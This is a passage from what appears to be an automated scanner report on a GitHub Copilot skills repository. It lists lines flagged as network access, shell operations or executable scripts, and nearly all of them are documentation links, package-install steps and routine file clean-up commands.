  • Network accessline 435
    - [Windows container LogMonitor.exe](https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe)

harness/github-copilot/skills/containerize-aspnetcore/SKILL.md

  • Network accessline 21
    Use the user's request and the repository to identify the project path and settings. Defaults apply when the user omits a setting: .NET `8.0`, Linux distribution `debian`, no custom build/run base image, primary HTTP port `8080`, `ASPNETCOR
  • Network accessline 39
    Keep the original settings vocabulary when translating user input: `[square brackets]`, `File/directory`, `Files/directories`, `[ProjectName (provide path to .csproj file)]`, `[8.0 or 9.0 (Default 8.0)]`, `[Specify base image to use for bui
  • Network accessline 52
    3. Determine the .NET version by checking `TargetFramework`; map `net8.0` to `8.0` and `net9.0` to `9.0` unless the user overrides it. 4. Select valid Microsoft base images unless custom images are specified. Preserve these documentation so
  • Network accessline 53
    4. Select valid Microsoft base images unless custom images are specified. Preserve these documentation sources when choosing tags:    - SDK image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md    - ASP.NET Core runtim
  • Network accessline 54
    - SDK image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md
  • Network accessline 55
    - ASP.NET Core runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.aspnet.md
  • Network accessline 56
    - .NET runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.runtime.md
  • Network accessline 69
    | Build configuration | Use `ARG BUILD_CONFIGURATION=Release`; pass `$BUILD_CONFIGURATION` to `dotnet build` and `dotnet publish` | | Runtime user | Use `USER $APP_UID` by default. Do not create a new user unless the settings require it | |
  • Network accessline 70
    | Runtime user | Use `USER $APP_UID` by default. Do not create a new user unless the settings require it | | URL binding | Set `ASPNETCORE_URLS=http://+:8080` unless the settings provide a different value | | Entry point | Use `ENTRYPOINT [
  • Network accessline 71
    | URL binding | Set `ASPNETCORE_URLS=http://+:8080` unless the settings provide a different value |
  • Network accessline 90
    COPY --from=build /app/publish . ENV ASPNETCORE_ENVIRONMENT=Production ENV ASPNETCORE_URLS=http://+:8080
  • Network accessline 91
    ENV ASPNETCORE_ENVIRONMENT=Production ENV ASPNETCORE_URLS=http://+:8080 EXPOSE 8080
  • Network accessline 92
    ENV ASPNETCORE_URLS=http://+:8080
  • Network accessline 93
    EXPOSE 8080 HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \     CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 94
    HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3      CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 95
    CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 104
    | Distribution | SDK example | ASP.NET runtime example | Package manager note | | --- | --- | --- | --- | | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-
  • Network accessline 105
    | --- | --- | --- | --- | | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget c
  • Dangerous shell operationline 106
    | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget ca-certificates libgdiplus 
  • Network accessline 106
    | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget ca-certificates libgdiplus 
  • Network accessline 107
    | Ubuntu 24.04 | `mcr.microsoft.com/dotnet/sdk:8.0-noble` or `9.0-noble` | `mcr.microsoft.com/dotnet/aspnet:8.0-noble` or `9.0-noble` | Use `apt-get` | | Alpine Linux | `mcr.microsoft.com/dotnet/sdk:8.0-alpine` or `9.0-alpine` | `mcr.micros
  • Network accessline 108
    | Alpine Linux | `mcr.microsoft.com/dotnet/sdk:8.0-alpine` or `9.0-alpine` | `mcr.microsoft.com/dotnet/aspnet:8.0-alpine` or `9.0-alpine` | `apk update && apk add --no-cache curl ca-certificates` |
  • Network accessline 110
    | Azure Linux / Mariner | Standard SDK image or approved custom image | `mcr.microsoft.com/dotnet/aspnet:8.0-azurelinux3.0` or `9.0-azurelinux3.0` | `tdnf update -y && tdnf install -y curl ca-certificates && tdnf clean all` |
  • Network accessline 229
    - [Microsoft .NET SDK image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md)
  • Network accessline 230
    - [Microsoft ASP.NET Core runtime image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.aspnet.md)
  • Network accessline 231
    - [Microsoft .NET runtime image tags](https://github.com/dotnet/dotnet-docker/blob/main/README.runtime.md)

harness/github-copilot/skills/contract-testing/SKILL.md

  • Network accessline 133
    - [Pact documentation](https://docs.pact.io/)
  • Network accessline 134
    - [Pact Broker](https://docs.pact.io/pact_broker)
  • Network accessline 135
    - [can-i-deploy](https://docs.pact.io/pact_broker/can_i_deploy)

harness/github-copilot/skills/conventional-branch/SKILL.md

  • Network accessline 145
    - [Conventional Branch](https://conventional-branch.github.io)
  • Network accessline 146
    - [Conventional Commits](https://www.conventionalcommits.org)

harness/github-copilot/skills/convert-excel-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/github-copilot/skills/convert-excel-to-md/scripts/convert_excel_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 64
    _REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 65
    _MAIN_NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"
  • Network accessline 66
    _R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 67
    _A_NS = "http://schemas.openxmlformats.org/drawingml/2006/main"

harness/github-copilot/skills/convert-pdf-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/github-copilot/skills/convert-pdf-to-md/scripts/convert_pdf_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/convert-plaintext-to-md/SKILL.md

  • Network accessline 160
    - [GitHub basic writing and formatting syntax](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
  • Network accessline 161
    - [Markdown Guide extended syntax](https://www.markdownguide.org/extended-syntax/)
  • Network accessline 162
    - [Azure DevOps Markdown guidance](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops)

harness/github-copilot/skills/convert-word-to-md/references/setup.md

  • Dangerous shell operationline 16
    - Linux (Debian/Ubuntu): `sudo apt-get update && sudo apt-get install -y python3 python3-pip python-is-python3`

harness/github-copilot/skills/convert-word-to-md/scripts/convert_word_to_md.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 53
    _W_NS = "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 54
    _R_NS = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 55
    _REL_NS = "http://schemas.openxmlformats.org/package/2006/relationships"

harness/github-copilot/skills/copilot-cli-quickstart/SKILL.md

  • Network accessline 162
    > Getting started is easy! Here's how:   >-  **Already have GitHub CLI?** `gh copilot` (built-in, no install needed)   >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`
  • Network accessline 163
    >-  **Already have GitHub CLI?** `gh copilot` (built-in, no install needed)   >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`   >-  **Requires:** A GitHub Copilot subscrip
  • Network accessline 164
    >-  **Need GitHub CLI first?** Visit [cli.github.com](https://cli.github.com) to install `gh`, then run `gh copilot`
  • Network accessline 165
    >-  **Requires:** A GitHub Copilot subscription ([check here](https://github.com/settings/copilot))
  • Network accessline 195
    - **If subscription issues:** "It looks like Copilot might not be enabled for your account. Check [github.com/settings/copilot](https://github.com/settings/copilot) to confirm you have an active subscription. If you're in an organization, y

harness/github-copilot/skills/copilot-cli-quickstart/references/extended-guide.md

  • Network accessline 465
    • /model — try different AI models    • /mcp — extend with MCP servers    • https://docs.github.com/copilot — official docs
  • Network accessline 467
    • https://docs.github.com/copilot — official docs
  • Network accessline 485
    • Try the Developer track for deeper skills    • /help — see ALL available commands    • https://docs.github.com/copilot — official docs
  • Network accessline 487
    • https://docs.github.com/copilot — official docs
  • Network accessline 496
    1. **Consult the latest docs** (for example, https://docs.github.com/copilot) or any available local documentation tools to ensure accuracy
  • Network accessline 545
    ### If `fetch_copilot_cli_documentation` fails or returns empty: - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "
  • Network accessline 546
    - Don't panic! Answer from your built-in knowledge - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot " - Never fabricate features or commands
  • Network accessline 547
    - Add a note: "I'm answering from memory — for the very latest info, check https://docs.github.com/copilot "

harness/github-copilot/skills/copilot-pr-autopilot/SKILL.md

  • Network accessline 70
    | Issue | Resolution | | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surf
  • Network accessline 71
    | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message 
  • Network accessline 72
    | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message and stop. |
  • Network accessline 129
    - [GitHub CLI](https://cli.github.com)

harness/github-copilot/skills/copilot-pr-autopilot/scripts/01-request-review.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 56
    # Link header looks like: `<https://api.github.com/...?per_page=100&page=4>; rel="last"`

harness/github-copilot/skills/copilot-pr-autopilot/scripts/02-check-review-status.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/copilot-pr-autopilot/scripts/03-list-open-threads.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/copilot-pr-autopilot/scripts/08-reply-and-resolve.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/copilot-pr-autopilot/scripts/09-review-round.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/copilot-pr-autopilot/scripts/10-cleanup-outdated.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/copilot-pr-autopilot/scripts/_lib.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 47
    - winget install --id GitHub.cli           (Windows)   - brew install gh                          (macOS)   - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 48
    - brew install gh                          (macOS)   - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)   - https://cli.github.com/                  (universal installer + download)
  • Dangerous shell operationline 49
    - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 49
    - sudo apt install gh                      (Debian/Ubuntu — see https://cli.github.com for other distros)
  • Network accessline 50
    - https://cli.github.com/                  (universal installer + download)

harness/github-copilot/skills/copilot-sdk/SKILL.md

  • Network accessline 30
    1. **GitHub Copilot CLI** installed and authenticated ([Installation guide](https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli))
  • Network accessline 254
    - https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli

harness/github-copilot/skills/copilot-sdk/references/extended-guide.md

  • Network accessline 350
    github: {             type: "http",             url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 351
    type: "http",             url: "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 352
    url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 364
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 365
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 366
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 378
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 379
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 380
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 395
    {             Type = "http",             Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 396
    Type = "http",             Url = "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 397
    Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 704
    - **GitHub Repository**: https://github.com/github/copilot-sdk
  • Network accessline 705
    - **Getting Started Tutorial**: https://github.com/github/copilot-sdk
  • Network accessline 706
    - **GitHub MCP Server**: https://github.com/github/github-mcp-server
  • Network accessline 707
    - **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers
  • Network accessline 708
    - **Cookbook**: https://github.com/github/copilot-sdk
  • Network accessline 709
    - **Samples**: https://github.com/github/copilot-sdk

harness/github-copilot/skills/copilot-usage-metrics/get-enterprise-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/copilot-usage-metrics/get-enterprise-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/copilot-usage-metrics/get-org-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/copilot-usage-metrics/get-org-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/skills/create-agentsmd/SKILL.md

  • Network accessline 14
    - "Generate coding agent instructions for my project." - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/."
  • Network accessline 15
    - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - "Document setup and test commands for agents."
  • Network accessline 16
    - "Make this repo follow https://agents.md/."
  • Network accessline 21
    - The target file is `AGENTS.md` at the repository root unless a monorepo subproject needs a closer nested `AGENTS.md`. - Follow the open AGENTS.md format at `https://agents.md/.`.
  • Network accessline 22
    - Follow the open AGENTS.md format at `https://agents.md/.`.
  • Network accessline 189
    - [AGENTS.md](https://agents.md/.)

harness/github-copilot/skills/create-implementation-plan/SKILL.md

  • Network accessline 57
    The frontmatter `status` must be exactly one of `Completed`, `In progress`, `Planned`, `Deprecated`, or `On Hold`. The introduction must show a shields badge using `https://img.shields.io/badge/status-<status>-<status_color>`, where status 
  • Network accessline 74
    ![Status: <status>](https://img.shields.io/badge/status-<status>-<status_color>)

harness/github-copilot/skills/create-llms/SKILL.md

  • Network accessline 2
    name: "create-llms" description: >-   Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document r
  • Network accessline 3
    description: >-   Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure 
  • Network accessline 4
    Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add a
  • Network accessline 23
    - No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `
  • Network accessline 25
    - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks.
  • Network accessline 140
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 141
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/github-copilot/skills/create-readme/SKILL.md

  • Network accessline 54
    | Source | Useful pattern | | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. |
  • Network accessline 55
    | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | | `https://raw.githubusercontent.com/Azure-Samples/server
  • Network accessline 56
    | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. |
  • Network accessline 57
    | `https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md` | Practical sample structure and concise usage flow. |
  • Network accessline 58
    | `https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md` | Compact tool positioning and example-first usage. |
  • Network accessline 59
    | `https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md` | Short, appealing project introduction and focused commands. |
  • Network accessline 60
    | `https://github.com/orgs/community/discussions/16925` | GitHub admonition syntax reference. |
  • Network accessline 134
    - [Azure Samples serverless chat README](https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md)
  • Network accessline 135
    - [Azure Samples serverless recipes README](https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md)
  • Network accessline 136
    - [run-on-output README](https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md)
  • Network accessline 137
    - [smoke README](https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md)
  • Network accessline 138
    - [GitHub admonition syntax discussion](https://github.com/orgs/community/discussions/16925)

harness/github-copilot/skills/create-spring-boot-java-project/SKILL.md

  • Network accessline 36
    curl https://start.spring.io/starter.zip   -d artifactId=${input:projectName:demo-java}   -d bootVersion=3.4.5   -d dependencies=lombok,configuration-processor,web,data-jpa,postgresql,data-redis,data-mongodb,validation,cache,testcontainers 
  • Dangerous shell operationline 43
    rm -f starter.zip
  • Dangerous shell operationline 107
    docker-compose rm -sf
  • Dangerous shell operationline 110
    The optional run commands are `docker-compose up -d`, `./mvnw spring-boot:run`, and `docker-compose rm -sf`.

harness/github-copilot/skills/create-spring-boot-kotlin-project/SKILL.md

  • Network accessline 27
    1. Check Java with `java -version`. 2. Download the Spring Initializr archive from https://start.spring.io/starter.zip .
  • Network accessline 28
    2. Download the Spring Initializr archive from https://start.spring.io/starter.zip .
  • Dangerous shell operationline 30
    4. Remove `starter.zip` after extraction with `rm -f starter.zip`.
  • Network accessline 39
    curl https://start.spring.io/starter.zip \
  • Dangerous shell operationline 50
    rm -f starter.zip
  • Dangerous shell operationline 116
    docker-compose rm -sf
  • Dangerous shell operationline 129
    The original `download-spring-boot-project-template` anchor maps to the Spring Initializr request in this skill. Preserve local service paths exactly: `./redis_data` maps to `/data`, `./postgres_data` maps to `/var/lib/postgresql/data`, and

harness/github-copilot/skills/create-tldr-page/SKILL.md

  • Network accessline 16
    - "Generate a concise command reference from this manual page." - "Turn this --help output and upstream URL into a tldr page." - "Write a tldr-pages style page for git from https://git-scm.com/docs/git."
  • Network accessline 18
    - "Write a tldr-pages style page for git from https://git-scm.com/docs/git."
  • Network accessline 72
    /create-tldr-page https://some-command.io/docs/manual.html
  • Network accessline 96
    1. https://gnu.org/software/manual/html_node/some-command.html
  • Network accessline 97
    2. https://some.org/serve/some.man.html#some-command
  • Network accessline 98
    3. https://some-command.io/docs/cli/latest/manual
  • Network accessline 99
    4. https://some-command.io/docs/quickstart
  • Network accessline 111
    > Short, snappy description. > Some subcommands such as `subcommand1` have their own usage documentation. > More information: <https://url-to-upstream.tld>.
  • Network accessline 113
    > More information: <https://url-to-upstream.tld>.
  • Network accessline 139
    * [git](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md)
  • Network accessline 140
    * [distrobox-create](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md)
  • Network accessline 141
    * [nmcli](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md)
  • Network accessline 148
    /create-tldr-page #fetch https://git-scm.com/docs/git git
  • Network accessline 156
    > Distributed version control system. > Some subcommands such as `commit`, `add`, `branch`, `switch`, `push`, etc. have their own usage documentation. > More information: <https://git-scm.com/docs/git>.
  • Network accessline 158
    > More information: <https://git-scm.com/docs/git>.
  • Network accessline 166
    `git clone {{https://example.com/repo.git}}`
  • Network accessline 216
    - Example: `{{device_name}}`, `{{chip_name}}`, `{{repository_url}}`   - Example: `{{path/to/file}}` for file paths   - Example: `{{https://example.com}}` for URLs
  • Network accessline 218
    - Example: `{{https://example.com}}` for URLs
  • Network accessline 252
    - https://git-scm.com/docs/git
  • Network accessline 253
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md
  • Network accessline 254
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md
  • Network accessline 255
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md

harness/github-copilot/skills/csharp-mstest/SKILL.md

  • Network accessline 76
    | Conditional execution | MSTest 3.10+ supports `[OSCondition(OperatingSystems.Windows)]`, Linux/MacOS combinations, `ConditionMode.Exclude`, `[CICondition]`, and `[CICondition(ConditionMode.Exclude)]`. | | Parallelization | At assembly lev
  • Network accessline 78
    | Work items | Use `[WorkItem(12345)]` for Azure DevOps and `[GitHubWorkItem("https://github.com/owner/repo/issues/42")]` for GitHub issues; associations flow into test results for CI/CD traceability. |
  • Network accessline 123
    - [MSTest TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext)
  • Network accessline 124
    - [Example GitHub work item URL](https://github.com/owner/repo/issues/42)

harness/github-copilot/skills/daily-focus-board/SKILL.md

  • Network accessline 61
    1. Gather the task list from the user or their message. Capture a short title, optional `emoji`, optional `sub` note, optional `tag`, optional `due`, optional `quad`, and counter fields when the task has a numeric goal. 2. Generate `focus-b
  • Network accessline 62
    2. Generate `focus-board.html` from `assets/board.template.html`, escaping injected JSON as described above. 3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scr
  • Network accessline 63
    3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scripts/serve-board.ps1`.
  • Network accessline 64
    4. Open the board in a browser canvas side panel when the host supports it; otherwise open `http://localhost:8799/focus-board.html` in the default browser. 5. Drive the board through conversation: keep status and notes in the browser, regen
  • Network accessline 111
    **Status:** created | needs input | blocked **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html`
  • Network accessline 112
    **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` **Date key:** `<YYYY-MM-DD>`
  • Network accessline 113
    **Open URL:** `http://localhost:8799/focus-board.html`

harness/github-copilot/skills/daily-focus-board/references/neurodivergent-design.md

  • Network accessline 50
    - **Executive function — task initiation, activation energy, time management, working memory** —   CHADD (Children and Adults with ADHD), the leading ADHD nonprofit:   - *Executive Function Skills* — https://chadd.org/about-adhd/executive-f
  • Network accessline 51
    CHADD (Children and Adults with ADHD), the leading ADHD nonprofit:   - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/   - *Executive Function Issues and ADHD* (Brown & Barkley models) —
  • Network accessline 52
    - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/
  • Network accessline 53
    - *Executive Function Issues and ADHD* (Brown & Barkley models) —     https://chadd.org/attention-article/executive-function-issues-and-adhd/ - **Body doubling** — focus improving in the presence of a partner; the board's core premise
  • Network accessline 54
    https://chadd.org/attention-article/executive-function-issues-and-adhd/
  • Network accessline 55
    - **Body doubling** — focus improving in the presence of a partner; the board's core premise   ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* —   https://www.simplypsychology.com/articles/body-doubling-adhd
  • Network accessline 56
    ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* —   https://www.simplypsychology.com/articles/body-doubling-adhd - **Reduced motion / sensory sensitivity** — behind the reduced-motion toggle and honoring the
  • Network accessline 57
    https://www.simplypsychology.com/articles/body-doubling-adhd
  • Network accessline 59
    `prefers-reduced-motion` setting:   - MDN, *`prefers-reduced-motion`* —     https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion
  • Network accessline 60
    - MDN, *`prefers-reduced-motion`* —     https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion   - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* —
  • Network accessline 61
    https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion
  • Network accessline 62
    - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* —     https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious
  • Network accessline 63
    https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html
  • Network accessline 64
    - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious Leadership   Group, *Locating Yourself: A Key to Conscious Leadership* —   https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership
  • Network accessline 65
    Group, *Locating Yourself: A Key to Conscious Leadership* —   https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"):
  • Network accessline 66
    https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership
  • Network accessline 67
    - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"):   - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix   - Todoist, *The Eisenhower Matrix* — https://todoist
  • Network accessline 68
    - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix
  • Network accessline 69
    - Todoist, *The Eisenhower Matrix* — https://todoist.com/productivity-methods/eisenhower-matrix
  • Network accessline 71
    self-compassion.org — https://self-compassion.org/

harness/github-copilot/skills/daily-focus-board/references/tutorial.md

  • Network accessline 22
    1. Ask Ember to make the board. It serves the folder (e.g. `python -m http.server 8790 --bind 127.0.0.1`) and gives    you an `http://localhost:…/…html` URL.
  • Network accessline 23
    you an `http://localhost:…/…html` URL.
  • Network accessline 34
    > localStorage needs an `http://` origin, so always **serve ** the folder rather than double-clicking

harness/github-copilot/skills/daily-focus-board/scripts/serve-board.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    Write-Error "The server exited on startup (code $($proc.ExitCode)) — is Python installed and the port free?"; exit 1 } $url = "http://localhost:$Port/$File"
  • Network accessline 19
    } $url = "http://localhost:$Port/$File" Write-Host "Focus board: $url"
  • Network accessline 20
    $url = "http://localhost:$Port/$File"

harness/github-copilot/skills/data-breach-blast-radius/SKILL.md

  • Network accessline 24
    > **Why this matters:** 83% of organizations have experienced more than one data breach (IBM Cost of a Data Breach Report). The global average breach cost was **$4.88M in 2024**, with the 2025 IBM report showing a 9% decrease — download the
  • Network accessline 321
    - [IBM Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach.)

harness/github-copilot/skills/data-breach-blast-radius/references/SOURCES.md

  • Network accessline 11
    ### GDPR Special Categories (Tier 1 classification basis) - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/
  • Network accessline 12
    - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - **What it says:** Biometric data, health data, genetic data, racial/ethnic origin, politica
  • Network accessline 13
    - **URL:** https://gdpr-info.eu/art-9-gdpr/
  • Network accessline 17
    ### PCI-DSS Data Classification - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/
  • Network accessline 18
    - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - **What it says:** Primary Account Number (PAN), cardholder name, expiration date, se
  • Network accessline 19
    - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/
  • Network accessline 23
    ### HIPAA Protected Health Information (PHI) Definition - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identi
  • Network accessline 24
    - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - **What it says:** The 18 HIPAA ide
  • Network accessline 25
    - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html
  • Network accessline 33
    **Source:** Regulation (EU) 2016/679 — Article 83 "General conditions for imposing administrative fines" **URL:** https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 34
    **URL:** https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 48
    | €1.2B | Meta (Ireland DPC) | 2023 | source page no longer resolves | | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-relea
  • Network accessline 49
    | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | | 
  • Network accessline 50
